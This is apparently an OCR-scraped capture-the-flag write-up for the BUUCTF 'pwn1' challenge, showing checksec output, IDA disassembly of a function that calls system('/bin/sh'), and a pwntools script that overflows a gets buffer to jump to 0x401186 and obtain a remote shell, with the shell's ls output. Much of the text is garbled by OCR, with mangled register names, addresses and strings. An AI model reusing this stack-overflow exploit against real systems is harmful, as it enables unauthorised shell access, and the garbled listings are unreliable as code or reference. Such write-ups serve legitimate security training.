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oot@ccl-virtual-machine: fhome/ccl /S H /BUUCTF# checksec pwni
1 '/home/ccl/SHE /BUUCTF/pwni’
Arch: amd64-64-1little
RELRO: Partial RELRI
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https://blog.csdn.net/weixin_55190422
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shift F12 — F & HUs 7B

[} .rodata:0000000- :0000000D C please input
. 0000000A C ok,byel!!
.rodata:0000000- 00000008 C /hin/sh
.eh_frame:00000-- 00000006 C Fa5\"
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:0000000000401186
:0000000000401186
:0000000000401186
:0000000000401186
:0000000000401187
:0000000000401184
:0000000000401121
:0000000000401156
:0000000000401157
:0000000000401158
:0000000000401158
:0000000000401158
:0000000000401188 ;
0Qoo0o000401149

:000000000040114A0

:000000000040114A0 ;
:000000000040114A0
:000000000040114A0
:000000000040114A0
:000000000040114A0
:000000000040114A0
:000000000040114A2
:000000000040114A3
:000000000040114A7
:00000000004011A8
:00000000004011AC
:00000000004011AF
:00000000004011B1

fun

_ libec_csu_init

nonnT1AA [nnANOAOARRA0T1RA: Fun

public fun

proc nedr

push bp

mov rbp, rsp

lea rdi, command ; "/bin/sh"
call _system

nop

pop bp

retn

endp

align Z0h

=5 UBROCUTINE =ss============================
public __libc_csu_init

pPIroc near ;i DATA XBEF: _
push rls

mov rls, rdx

push rl4

mov rlgd, rsi

push rli

mov rl3d, edi

push rlz

lea

rlz, _fIame_dunu'ny_lnltE‘.—%HN_@tﬂ&I 13 Ir-fiflg

| FEED O & x IDA View—4 (x| s (x| Sta
-0000000000000010 ; D/A/*  : change type (data/ascii/array)
ﬁzﬁ % -8000000PER0BEB10 ; N : rename
J| amit_proc -imit -PEBACEEDEERREA1A ; U : undefine
sub_401020 plt -0000000000000010 ; Use data definition commands to create local °
_puts -plt -0000000000000010 ; Two special fields ™ r” and " s” represent re
_system -plt -0000000000000010 ; Frame size: 10; Saved regs: 8; Purge: @
_gets plt -0000000000000010 ;
_start text -GPBRERERAAEREA1B
_dl_relocate_static_pie text -2000000000000010 db ? ; undefined
deregister_tm_clones text -POBRBAEBDEGRERRF S db ?
register_tn_clones text -20000C000000600E db ? ; undef::_ned
_do_global_dtors_sux text -200006000000808D db ? ; undef%ned
Erame_dunmy text -200000000000000C db ? ; undef%ned
7| Iain- text -2000000000000008 db ? ; undef:f:ned
= fn et -000000000000000A db ? ; undefined
i L. ’ -0000020000000009 db ? ; undefined
—Libe_esu_init text -0000000000000005 db ? ; undefined
—Libe_esu_fini - text -0000000000000007 db ? ; undefined
_term_proc - fini -2000000000000006 db ? ; undefined
f| puts extern -300POAEPOA0RBARS db ? ; undefined
system extern - 2000000000000004 db ? ; undefined
__libc_start_main extern -2000000000000003 db ? ; undefined
gets extern -260P0CRR0RRER0 2 db ? ; undefined
_ gmon_start extern -BOPPDERDEEGBEED ] db ? ; undefined
+A00R020RAARERERE S db 8 dup(3)
+2000000000000008 r db 8 dup(?)
+2000000000000010
+0000000000000010 ; end of stack variables
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fit UL payload:
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from pwn import *
p = remote('node4.buuoj.cn’, 29663)
buf ='a"'* 15 + p64(0x401186).decode('unicode_escape')

p.sendline(buf)

p.interactive()
B $ python 1.py

[+] Opening connection to noded4.buucj.cn on port 29663: Done
1.py:14: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. Se
e https://docs.pwntools.com/#bytes

p.sendline(buf 1)
[*] switching to interactive mode

1s
bin
boot
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